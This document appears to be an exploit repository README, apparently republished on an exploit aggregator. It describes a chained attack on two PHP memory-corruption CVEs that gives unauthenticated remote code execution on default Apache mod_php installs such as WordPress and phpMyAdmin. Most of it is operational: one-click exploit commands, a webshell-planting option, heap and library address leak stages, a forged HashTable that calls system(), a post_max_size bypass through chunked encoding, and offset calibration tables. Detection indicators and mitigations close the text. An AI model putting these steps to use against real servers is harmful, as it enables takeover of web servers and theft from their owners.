Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
> **One-click exploit with default configuration**: `python3 exp/exp_auto.py -u
> Target: Apache **mod_php** + Unpatched PHP (Configuration: `memory_limit=128M`, `post_max_size=8M`, `upload_max_filesize=2M`, `session.upload_progress=On` —— * *All PHP settings are factory defaults; no ini file modifications**
> Applicable to: **Any** PHP page that accepts POST requests (no authentication, no `session_start`, no `unserialize`, no LFI)
Successfully tested in the following environments (`uid=33 (www-data)`):
| Application | Version | Worker | Result |
| WordPress | 7.1.3 | 6 (default scale) | ✅ RCE |
| phpMyAdmin | Official mirror webroot | 5–150 (Debian default) | ✅ RCE |
> Patches were released on **October 21, 2026** (8.2.35 / 8.3.36 / 8.4.27 / 8.5.12). This repository is intended solely for use in private environments and authorized testing.
CVE-2026-109618 and CVE-2026-109619 are two memory safety vulnerabilities in the PHP core (CVSS v4.0 9.2) . Their common characteristic is that: **when PHP encounters a fatal error (particularly an OOM) while processing a request, it leaves behind a corrupted internal state; subsequent requests or workers reuse this stale state, leading to memory leaks or corruption**.
In fact, the two are two halves of the same exploitation chain:
- **CVE-2026-109618** (RCE via OOM corruption) — responsible for “creating the hanging condition”
- **CVE-2026-109619** (RCE via stale global state) — responsible for “triggering the touch”
This article documents the **complete process—from the patch and public disclosure to independent reproduction and one-click RCE on default configurations**—including several points that were not clearly explained in publicly available materials but are crucial for actual exploitation:
1. **The OOM must occur during a huge allocation**—if it occurs during a small object (bin) allocation, it will corrupt the bin freelist metadata, causing subsequent requests to crash (`RIP = HT_MAX_SIZE`) rather than being controllable;
2. **`post_max_size` is the only obstacle**, and it can be completely bypassed using `Transfer-Encoding: chunked` (Apache does not pass the Content-Length to mod_php after decoding the chunks);
3. **For targets with multiple workers, simply use HTTP keep-alive**—A (OOM) and B (consumption) use the same TCP connection, they end up in the same prefork subprocess;
4. **Vector amplification** raises the single-command limit from 14 bytes to 79 bytes and provides a core dump calibration method based on the `htdata` offset.
## # 2.1 allocator bailout is not a return
When `memory_limit` is exhausted, PHP 8.x’s ZendMM does not “return NULL for the caller to handle,” but rather **`zend_bailout()` (i.e., `longjmp`) jumps out of the stack**:
/* Zend/zend_alloc.c (pre-patch, debug parameters omitted) */
static ZEND_COLD ZEND_NORETURN void zend_mm_safe_error(zend_mm_heap *heap,
const char *format, size_t limit, size_t size)
zend_error_noreturn(E_ERROR, format, limit, size);
zend_bailout(); /* ← longjmp, jumps out from inside emalloc() */
`zend_try` is `setjmp()`, and `zend_bailout()` is the corresponding `longjmp()`. This means: **the C function that is allocating memory will never return**, and the "release pointers / increment counters / partial initialization" are all left in place.
During the request startup phase (`php_request_startup()`), the POST body must be parsed, so:
php_hash_environment(); ← Multipart parsing occurs here; application code has not yet run
zend_activate_modules(); ← Normal module RINIT
If an OOM occurs during `php_hash_environment()`:
- `PG(modules_activated)` remains **false**
- The `if (PG(modules_activated)) zend_deactivate_modules();` statement in `php_request_shutdown()` is skipped → **RSHUTDOWN for extensions such as session is not executed**
- However, `shutdown_memory_manager()` **releases the entire request heap as usual**
- Apache mod_php **will always call `php_request_shutdown()`** (even if startup fails)
Result: **The worker remains alive, while `PS(id)` / `PS(http_session_vars)` point to the already-released request heap**.
The pattern pointed out by Calif in his public analysis is at a lower level, in `_zend_hash_str_add_or_update_i`:
p->key = zend_string_init(str, len, persistent); /* ← zend_bailout() may be called */
**The counter is incremented first, then the pointer is filled**. If `zend_string_init` triggers an OOM, the bucket has already been counted toward `nNumUsed` (visible to teardown), but `key`, `h`, and `val` have not been written. At the end of the request, `zend_array_destroy()` will iterate `nNumUsed` times based on `nNumUsed`:
for (p = ht->arData; p != ht->arData + ht->nNumUsed; p++) {
i_zval_ptr_dtor(&p->val); /* Consume the partially initialized val */
This is precisely the origin of `RIP = HT_MAX_SIZE (0x40000000)` in §5.3 of this repository— —**the teardown mistook an obsolete `nTableSize` slot for a `pDestructor` function pointer**.
The official patch removes `longjmp` from the allocator:
+static zend_always_inline zend_result zend_mm_check_limit(zend_mm_heap *heap, size_t add_size, ...)
+ if (UNEXPECTED(heap->limit real_size || add_size > heap->limit - heap->real_size)) {
+ if (!heap->fallible && add_size > heap->hard_limit - heap->real_size) {
+ zend_mm_hard_limit_error(heap, add_size); /* fprintf + _exit(137) */
+ zend_mm_delayed_error("Allowed memory size of %zu bytes exhausted ...");
+ return heap->fallible ? FAILURE : SUCCESS;
`memory_limit` becomes a **soft limit**: memory overflows are logged as a single pending error, and the C function returns with the complete structure; `UnwindExit` is not thrown until the VM checkpoint. The multipart parser checks for pending errors between parts and fields, clearing them first before allowing the SAPI to report a fatal error. Additionally, a hard limit `memory_hard_limit_percent` has been added (default: 200% of `memory_limit`, 128M → 256M); exceeding this limit results in an immediate `_exit(137)`.
- `main/rfc1867.c` — over 20 `ZEND_HAS_OOM()` checkpoints; only `Content-Disposition` and `Content-Type` are retained in the header
- `ext/session/session.c` — `php_session_rfc1867_update/cleanup` changed to "check for FAILURE before continuing," new `PS(in_rfc1867_update)`, pre-RINIT `php_rinit_session_globals()`, and "incomplete-classes-only" deserialization mode
The official advisory provides three paths for triggering a controllable OOM:
| **No Content-Length** | chunked / HTTP2; PHP only compares the **declared** CL with `post_max_size`; actual read volume is unrestricted |
| **Any number of PART headers** | The overhead per header on the PHP side is significantly greater than the actual bytes (approximately 4× amplification) |
| **Empty file upload + nested field names** | `filename=""` is not counted toward `max_file_uploads`, but PHP still creates 6 `$_FILES` entries for it; nested field names like `a[b][c].. .` causes each record to expand into dozens of HashTables/buckets/strings |
This repository primarily uses **Scenario 1 + large fields**: sending a field larger than `memory_limit` via chunked uploads.
### 3.2 Key Point: OOM Must Occur During `huge` Allocation
This is the easiest point to overlook—and the most critical—during the reproduction process.
- **Huge allocation** (greater than `ZEND_MM_MAX_SMALL_SIZE`, using `mmap`) fails → bin freelist remains intact → subsequent requests can reclaim memory cleanly → the process proceeds to a controlled state
- **bin allocation** (small objects) fails → partially initialized buckets remain in the bin page, and bin freelist metadata is corrupted → subsequent requests hit `RIP = HT_MAX_SIZE (0x40000000)` and **must crash**
Test criterion: Check `tried to allocate N bytes` in the OOM message
bin OOM: tried to allocate 20480 bytes ← 20KB, bad
huge OOM: tried to allocate 98566346 bytes ← 94MB, good
Therefore, the exploit parameters must satisfy:
huge_field > memory_limit (and placed at the very beginning of the request to avoid being truncated by `max_input_vars`)
### 3.3 Bypassing `post_max_size` with chunked encoding
`post_max_size` limits the **declared `Content-Length`**:
Transfer-Encoding: chunked → After Apache decodes the chunks, it does not pass the Content-Length to mod_php
→ SG(request_info).content_length is not included in the post_max comparison
→ A 134MB body passes unimpeded into the multipart parser
This is the technical basis for why “the attack works even with the default 128M/8M configuration”—**no changes to php.ini are required**.
The target page `` is sufficient; `session_start()` is never called. All attack traffic consists of standard multipart POST requests.
[A] 1,001 1B fields + PHPSESSID=\x00 + PHP_SESSION_UPLOAD_PROGRESS + one file part + a large field
→ Huge OOM during parsing → Startup failure → Worker survives but is in a dirty state
→ MULTIPART_EVENT_END → Session initialization → Consumes dirty state → Child process crashes
→ Apache forks a new child process, inheriting the same address space layout (copy-on-write)
`fork()` is a hard dependency for this step: the new child process’s libphp and heap mappings are identical to the old one, which is necessary for the subsequent stage’s memory leak to be effective.
### Stage 1 — Heap Leak (`Set-Cookie` Out-of-Bounds Read)
1) 1,001 fields trigger a `max_input_vars` warning → `headers_sent=1`
2) `PHPSESSID=\x00` → Generates a new session ID, `send_cookie=1`
3) A large field causes an OOM error within `php_session_initialize()` → `PS(http_session_vars)` / `PS(id)` become null
4) The request uses multipart buffering to reclaim that memory location
5) php_url_encode() treats the reclaimed memory as a live `zend_string`, resulting in an out-of-bounds read of the ZendMM chunk pointer
→ Written into `Set-Cookie: PHPSESSID=...`
Same technique, but this time the dangling `PS(id)` is located on a HashTable page: `ZSTR_LEN(PS (id))` reveals `nTableSize=16`, and the data area is exactly `nNextFreeElement | pDestructor`:
cookie: 10 00 00 00 00 00 00 00 | 60 1b 67 fe ff 7f 00 00
nTableSize = 16 | pDestructor = 0x7ffffe671b60
pDestructor − zval_ptr_dtor(0x65eb60) = libphp base = 0x7ffffe013000 ✔ Page-aligned
Here’s a criterion: **`(pDestructor & 0xFFF) == (dtor_offset & 0xFFF)` and the base is page-aligned**, otherwise it indicates the offset was incorrect (we’ve encountered this before: using `0x613C50` from a lab build instead of `0x65EB60` from the official mirror).
### Stage 3 — Forge a HashTable to Call `zif_system`
→ zval_ptr_dtor(PS(http_session_vars)) ← dangling reference
→ pDestructor(&bucket->val) ← = zif_system
Inline layout within the loader (232 bytes, ZendMM **bin-320**):
0x00 Fake HashTable: gc(rc=1, IS_ARRAY) | flags=0x10, nTableMask=-8
0x30 pDestructor = zif_system ← Endpoint
0x20~ Falsified execute_data (num_args=1, arg1 = htdata+0x80)
0x80 Fake zend_string: rc=1, IS_STRING_EX, len=
0x98 Command body (inline) ← Upper limit = 232 − 0x98 − 1 = 79 bytes
The `val` of `zend_string` is inlined (`ZSTR_VAL = ptr + 24`), so **the command must be squeezed into the same allocation block as the forged structure**—the command is as long as the carrier.
The upstream PoC uses a 167-byte carrier (bin-192) → command length capped at 14 bytes, including `cat This explains why publicly available PoCs all stop at 8M–32M: their lab settings have `post_max_size=64M`, but as soon as `memory_limit` is set to 64M or higher, `huge = limit + 6` exceeds `post_max_size` and is silently rejected, resulting in a `HEAP_LEAK_FAILED` error—which is completely indistinguishable from "chain not applicable."
The official `wordpress:latest` / `phpmyadmin` images use 5–150 workers by default. **A single worker is not required**; simply use HTTP keep-alive:
Same TCP connection → Same prefork child process → A (OOM) and B (consumer) are assigned to the same worker
Implementation Key Points (`exp/php2shell_core.py: PersistentTarget`):
1. The entire stage reuses the same socket (`Connection: keep-alive`)
2. **Body transmission must be fault-tolerant**: A worker may terminate the connection when it runs out of memory (OOM); `sendall` will raise a `ConnectionResetError`, which must be handled by continuing to read the response rather than crashing
3. **Use small chunks (256 KB)**: Sending large chunks is more likely to trigger an RST
Tested: Successful on WordPress with 6 workers and phpMyAdmin with 5–150 workers.
### 5.3 Failure Patterns (for determining the direction)
| `RIP = 0x40000000` crash, `tried to allocate 20480` | OOM occurred during bin allocation → Increase the `huge` field |
| `HEAP_LEAK_FAILED` consistently fails | `huge ≤ memory_limit`, or request rejected by `post_max_size` (use chunked), or not a single connection |
| `LIBPHP_LEAK_FAILED`, but cookie length is 16 | `dtor_offset` does not match this build |
| Stage 1/2 normal, Stage 3 repeatedly misses | `htdata_offset` does not match this build/host |
`htdata` is the offset of the fake HashTable within a ZendMM chunk. It **depends solely on the PHP build + carrier size + request structure** and is unrelated to `memory_limit`, ASLR, or restarts:
| php:8.4.26-apache + 232B container | **0x64018** |
| php:8.4.26-apache + 167B container (upstream) | 0x690D8 |
| Upstream lab build (Apache 2.4.68) + 167B | 0x6E0D8 |
### Core Dump Calibration Method (More Reliable Than gdb attach)
gdb attach freezes the worker, whereas the exploit itself requires killing the worker to trigger a rotation; a core dump is a natural snapshot taken at the moment of the crash and can be analyzed offline.
# 1) Embed a unique marker in the code (enabled when CALIB_MARKER=1, location 0xB0)
CALIB_MARKER=1 python3 exp_php2shell.py -u --huge-mb 134 \
--htdata-offset 0x690d8 -c 'id>/tmp/calib' # Intentionally use an incorrect offset to trigger a crash
# 2) Retrieve the core file (requires CoreDumpDirectory + ulimit -c unlimited)
# 3) the core file for the forged HashTable signature
# struct.pack(" Pitfall: Placing the marker at `0xB0` will overlap with the command region exceeding 46 bytes (`0x98+46 = 0xC6 > 0xB0`), causing the command to be silently overwritten—which appears as an "offset calculation error." Therefore, the marker is only enabled in calibration mode.
# WordPress target machine (application files taken from the official `wordpress:latest`; PHP base uses the unpatched 8.4.26)
docker compose -f lab/docker-compose-wp4626.yml up -d # → :18092
docker build -f lab/Dockerfile.pma -t pma-vuln:8.4.26
docker compose -f lab/docker-compose-pma.yml up -d # → :18093
- * *Do not include any custom php.ini** (keep the default 128M / 8M)
- Application files can be extracted from the official image: `docker run --rm app:latest sh -c 'tar cf - -C /var/www html' > web.tar`
- The official image now comes with **patched** PHP (8.3.36+), so you must switch to an unpatched PHP base image (`php:8.4.26-apache` / `php:8.3.35-apache`)
# Plant a webshell (automatically detects all parameters)
python3 exp/exp_auto.py -u
# Single command + automatic output retrieval (relative paths are written to the docroot; Apache’s cwd is the DocumentRoot)
python3 exp/exp_auto.py -u -c 'id;uname -a>r.txt'
# Any command of any length; output is included directly in the HTTP response
curl '
**Note: The output of `system()` will not appear in the response of the triggering request**—it executes during the request shutdown phase, long after the response has been sent. Therefore, in remote scenarios, rely on "writing to the webroot + retrieving via HTTP."
Command to drop a webshell (35 bytes, within the 79-byte limit):
> **Single quotes** must be used: double quotes cause sh to expand `$_GET` → `system([1])` → TypeError.
See [`exp/README.md`](exp/README.md) for complete parameters and troubleshooting.
- `PHP_SESSION_UPLOAD_PROGRESS` appears in access logs, sent to an endpoint that does not accept uploads
- Session file content under `session.save_path` contains `upload_progress_<?php`
- Abnormal PHP worker termination: `zend_mm_heap corrupted`, SIGABRT / SIGSEGV, Apache `AH00051`
- An abnormally long or non-32-bit hexadecimal `PHPSESSID` cookie appears in the response
- A single POST request carries an excessively large body (chunked, no `Content-Length`) and does not result in normal application behavior
1. **Upgrade**: 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 or higher, and restart all workers
2. If an immediate upgrade is not possible (as per official recommendations):
; CVE-2026-109618: Remove controllable OOM failures
memory_limit = -1 ; Use `php_admin_value`; applications cannot override this
Note that `memory_limit=-1` introduces the risk of "actual memory exhaustion"; **do not** use `RLIMIT_AS` / `RLIMIT_DATA`, as they follow the same `longjmp` path
3. Tighten front-end input validation: Limit the number of multipart parts, the number of headers per part, and request body size; applications that do not support uploads should reject `multipart/form-data` directly at the front end
4. Defense in depth: `session.use_only_cookies=On`, `session.use_strict_mode=On`, and standardize `session.serialize_handler`
- [GHSA-w8hw-w9fx-j79w] ( — CVE-2026-109618: RCE via OOM corruption
- [GHSA-6wmf-4rv5-p3rp]( — CVE-2026-109619: RCE via stale global state
- [PHP October 21, 2026 Security Release](
- [Wiz Research — PHP2Shell](
- [Calif.io — php2shell](
- [9bie/php2shell-bypass-aslr-exp]( — Upstream exploits (calibrated by 8M lab)
- This repository’s `docs/` directory — All proof-of-concept evidence (default configuration: RCE, vector amplification, phpMyAdmin, staged data, core analysis)
- Vulnerability discovery and coordinated disclosure: Wiz Research, Calif, OpenAI, PHP Security Team
- Upstream exploit and 8M lab calibration: 9bie
- Contributions to this repository: default configuration path (chunked bypass of `post_max_size`), huge-alloc OOM criteria, multi-worker keep-alive, payload amplification to 79 bytes + `htdata` core-dump calibration method, phpMyAdmin secondary verification
**For security testing in your own environment and within explicitly authorized scope only.** Users are responsible for their own actions.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
